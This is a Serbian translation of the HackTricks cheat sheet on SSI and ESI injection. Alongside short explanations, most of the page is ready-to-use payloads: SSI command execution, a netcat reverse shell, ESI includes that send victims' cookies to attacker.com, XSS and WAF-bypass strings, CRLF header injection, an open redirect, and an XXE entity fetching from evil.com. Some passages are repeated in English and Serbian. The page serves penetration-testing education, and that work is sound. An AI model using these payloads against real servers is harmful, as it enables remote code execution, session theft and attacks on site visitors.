Server Side Inclusion/Edge Side Inclusion Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije o ubacivanju sa servera

(Uvod preuzet sa Apache dokumentacije)

SSI (Server Side Includes) su direktive koje se postavljaju u HTML stranicama i evaluiraju na serveru dok se stranice serviraju. Omogućavaju vam da dodajete dinamički generisani sadržaj postojećoj HTML stranici, bez potrebe da celu stranicu servirate putem CGI programa ili neke druge dinamičke tehnologije. Na primer, možete postaviti direktivu u postojeću HTML stranicu, kao što je:

<!--#echo var="DATE_LOCAL" -->

I, kada se stranica servira, ovaj fragment će biti evaluiran i zamenjen svojom vrednošću:

Utorak, 15-Jan-2013 19:28:54 EST

Odluka o tome kada koristiti SSI, a kada imati celu stranicu generisanu nekim programom, obično je pitanje koliko je stranica statična, a koliko treba ponovo izračunavati svaki put kada se stranica servira. SSI je odličan način da se dodaju male informacije, kao što je trenutno vreme - prikazano iznad. Ali ako većina vaše stranice bude generisana u trenutku kada se servira, trebate potražiti neko drugo rešenje.

Možete zaključiti da postoji SSI ako web aplikacija koristi fajlove sa ekstenzijama ** .shtml, .shtm ili .stm**, ali to nije jedini slučaj.

Tipičan SSI izraz ima sledeći format:

<!--#directive param="value" -->

Provera

Da biste proverili da li je ciljni veb server podložan server-side inclusion (SSI) ili edge-side inclusion (ESI) ubrizgavanju, možete koristiti sledeće metode:

1. Testiranje SSI ubrizgavanja

Da biste proverili da li je ciljni veb server podložan SSI ubrizgavanju, možete koristiti sledeći payload:

<!--#exec cmd="ls" -->

Ako se rezultat izvršavanja komande ls prikaže na stranici, to ukazuje na ranjivost na SSI ubrizgavanje.

2. Testiranje ESI ubrizgavanja

Da biste proverili da li je ciljni veb server podložan ESI ubrizgavanju, možete koristiti sledeći payload:

<esi:include src="http://attacker.com/malicious.xml" />

Ako se sadržaj malicious.xml fajla prikaže na stranici, to ukazuje na ranjivost na ESI ubrizgavanje.

3. Testiranje kombinovanog SSI i ESI ubrizgavanja

Da biste proverili da li je ciljni veb server podložan kombinovanom SSI i ESI ubrizgavanju, možete koristiti sledeći payload:

<!--#exec cmd="curl http://attacker.com/malicious.xml" -->

Ako se sadržaj malicious.xml fajla prikaže na stranici, to ukazuje na ranjivost na kombinovano SSI i ESI ubrizgavanje.

4. Automatizovano testiranje

Možete koristiti alate poput ssishell ili esi_scan za automatizovano testiranje SSI i ESI ubrizgavanja. Ovi alati će vam pomoći da identifikujete ranjivosti i izvršite dalje testove.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Postoji problem sa keširanjem informacija ili dinamičkih aplikacija jer se deo sadržaja može promeniti do sledećeg puta kada se sadržaj preuzme. To je ono što se koristi ESI kako bi se označio dinamički sadržaj koji treba generisati pre slanja keširane verzije. Ako napadač uspe da ubaci ESI oznaku unutar keširanog sadržaja, onda bi mogao da ubaci proizvoljni sadržaj u dokument pre nego što ga pošalje korisnicima.

Detekcija ESI-a

Sledeći header u odgovoru sa servera znači da server koristi ESI:

Surrogate-Control: content="ESI/1.0"

Ako ne možete pronaći ovaj zaglavlje, server možda i dalje koristi ESI. Takođe se može koristiti slepa eksploatacijska metoda jer bi zahtev trebao stići na server napadača:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI eksploatacija

GoSecure je kreirao tabelu kako bi razumeli moguće napade koje možemo pokušati protiv različitog softvera koji podržava ESI, u zavisnosti od podržane funkcionalnosti:

  • Includes: Podržava direktivu <esi:includes>

  • Vars: Podržava direktivu <esi:vars>. Korisno za zaobilaženje XSS filtera

  • Cookie: Kolačići dokumenta su dostupni ESI mašini

  • Upstream Headers Required: Surrogate aplikacije neće obrađivati ESI izjave osim ako izvorna aplikacija ne obezbedi zaglavlja

  • Host Allowlist: U ovom slučaju, ESI uključivanje je moguće samo sa dozvoljenih servera, što čini SSRF, na primer, mogućim samo protiv tih servera

Softver

Includes

Vars

Cookies

Upstream Headers Required

Host Whitelist

Squid3

Da

Da

Da

Da

Ne

Varnish Cache

Da

Ne

Ne

Da

Da

Fastly

Da

Ne

Ne

Ne

Da

Akamai ESI Test Server (ETS)

Da

Da

Da

Ne

Ne

NodeJS esi

Da

Da

Da

Ne

Ne

NodeJS nodesi

Da

Ne

Ne

Ne

Opciono

XSS

Sledeća ESI direktiva će učitati proizvoljni fajl unutar odgovora servera.

<esi:include src=http://attacker.com/xss.html>

Zaobilaženje zaštite od XSS napada na klijentskoj strani

In some cases, web applications implement client-side XSS protection mechanisms to prevent the execution of malicious scripts. However, these protections can sometimes be bypassed using various techniques.

U nekim slučajevima, veb aplikacije implementiraju mehanizme zaštite od XSS napada na klijentskoj strani kako bi sprečile izvršavanje zlonamernih skripti. Međutim, ove zaštite ponekad mogu biti zaobiđene korišćenjem različitih tehnika.

One common technique is to encode or obfuscate the payload in a way that it bypasses the client-side XSS filters. This can be done by using different encoding techniques such as URL encoding, HTML entity encoding, or JavaScript escaping.

Jedna uobičajena tehnika je enkodiranje ili obfuskacija payloada na način koji zaobilazi filtere zaštite od XSS napada na klijentskoj strani. Ovo se može postići korišćenjem različitih tehnika enkodiranja kao što su enkodiranje URL-a, enkodiranje HTML entiteta ili eskapiranje JavaScript koda.

Another technique is to use alternative syntax or characters that are not recognized by the client-side XSS filters. This can include using different HTML tags, attributes, or event handlers that are not commonly used or recognized by the filters.

Još jedna tehnika je korišćenje alternativne sintakse ili karaktera koji nisu prepoznati od strane filtera zaštite od XSS napada na klijentskoj strani. Ovo može uključivati korišćenje različitih HTML tagova, atributa ili event handlera koji nisu često korišćeni ili prepoznati od strane filtera.

It is important to note that bypassing client-side XSS protection mechanisms should only be done for ethical hacking purposes and with proper authorization. Unauthorized bypassing of these protections is illegal and unethical.

Važno je napomenuti da zaobilaženje mehanizama zaštite od XSS napada na klijentskoj strani treba vršiti samo u etičke svrhe i uz odgovarajuću autorizaciju. Neovlašćeno zaobilaženje ovih zaštita je ilegalno i neetično.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Krađa kolačića

  • Udaljena krađa kolačića

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Ukradi kolačić HTTP_ONLY pomoću XSS-a reflektirajući ga u odgovoru:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Privatna lokalna datoteka

Nemojte mešati ovo sa "Uključivanjem lokalne datoteke":

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) predstavlja specifičan karakterni niz koji se koristi za označavanje kraja reda u tekstualnim datotekama. Sastoji se od kombinacije karaktera "Carriage Return" (CR) i "Line Feed" (LF). CR karakter označava povratak kursora na početak reda, dok LF karakter označava prelazak na sledeći red.

CRLF se često koristi u HTTP protokolu za označavanje kraja zaglavlja HTTP zahteva ili odgovora. Međutim, zlonamerni korisnici mogu iskoristiti CRLF ranjivosti kako bi izvršili različite vrste napada, kao što su HTTP Response Splitting i Server-Side Request Forgery (SSRF).

Napadač može ubaciti CRLF karaktere u HTTP zahtev kako bi izazvao neželjene efekte, kao što su ubacivanje dodatnih zaglavlja ili preusmeravanje korisnika na zlonamerni sajt. Ovi napadi mogu dovesti do krađe podataka, preuzimanja kontrolu nad serverom ili izvršavanja proizvoljnog koda.

Da biste se zaštitili od CRLF injekcija, preporučuje se sanitizacija i validacija svih korisničkih unosa koji se koriste u HTTP zahtevima. Takođe je važno ažurirati sve softverske komponente koje obrađuju HTTP zahteve kako bi se ispravile poznate ranjivosti.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Otvoreno preusmeravanje

Sledeći kod će dodati Location zaglavlje odgovoru.

<!--esi $add_header('Location','http://attacker.com') -->

Dodavanje zaglavlja

  • Dodajte zaglavlje u prisilnom zahtevu

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Dodaj zaglavlje u odgovor (korisno za zaobilaženje "Content-Type: text/json" u odgovoru sa XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF u dodavanju zaglavlja (CVE-2019-2438)

CRLF (Carriage Return Line Feed) injekcija je vrsta ranjivosti koja omogućava napadaču da ubaci dodatne zaglavlja u HTTP odgovor. Ova ranjivost može biti iskorišćena za izvršavanje različitih napada, uključujući i Edge Side Inclusion (ESI) injekciju.

CVE-2019-2438 je specifična ranjivost koja se odnosi na CRLF injekciju u funkciji dodavanja zaglavlja u Oracle WebLogic Serveru. Napadač može iskoristiti ovu ranjivost da ubaci zlonamerni kod u HTTP odgovor i izvrši proizvoljan kod na ciljnom serveru.

Da bi se iskoristila ova ranjivost, napadač mora da ubaci CRLF sekvencu (Carriage Return i Line Feed) u vrednost zaglavlja koje se dodaje. Ovo može biti postignuto korišćenjem specijalnih karaktera poput "%0d" i "%0a". Kada se ova sekvencija ubaci u zaglavlje, server će je tumačiti kao kraj linije i sve što sledi će biti smatrano kao novo zaglavlje.

Da bi se sprečila CRLF injekcija, preporučuje se validacija i sanitizacija svih korisničkih unosa koji se koriste za formiranje zaglavlja. Takođe je važno ažurirati softver na najnoviju verziju kako bi se ispravile poznate ranjivosti.

CVE-2019-2438 je ozbiljna ranjivost koja može dovesti do kompromitovanja ciljnog servera. Stoga je važno preduzeti odgovarajuće mere zaštite kako bi se sprečilo iskorišćavanje ove ranjivosti.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Ovo će poslati informacije za debagiranje uključene u odgovor:

<esi:debug/>

ESI + XSLT = XXE

Specifikacijom vrednosti xslt za parametar dca, moguće je uključiti eXtensible Stylesheet Language Transformations (XSLT) bazirani ESI. Uključivanje uzrokuje da HTTP surrogate preuzme XML i XSLT fajlove, pri čemu XSLT filtrira XML fajl. Takvi XML fajlovi su podložni XML External Entity (XXE) napadima, omogućavajući napadačima da izvrše SSRF napade. Međutim, korisnost ovog pristupa je ograničena jer ESI uključivanje već služi kao SSRF vektor. Zbog nedostatka podrške u osnovnoj Xalan biblioteci, eksterni DTD-ovi se ne procesiraju, što sprečava ekstrakciju lokalnih fajlova.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT datoteka:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Proverite XSLT stranicu:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Reference

Lista za otkrivanje Brute-Force napada

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated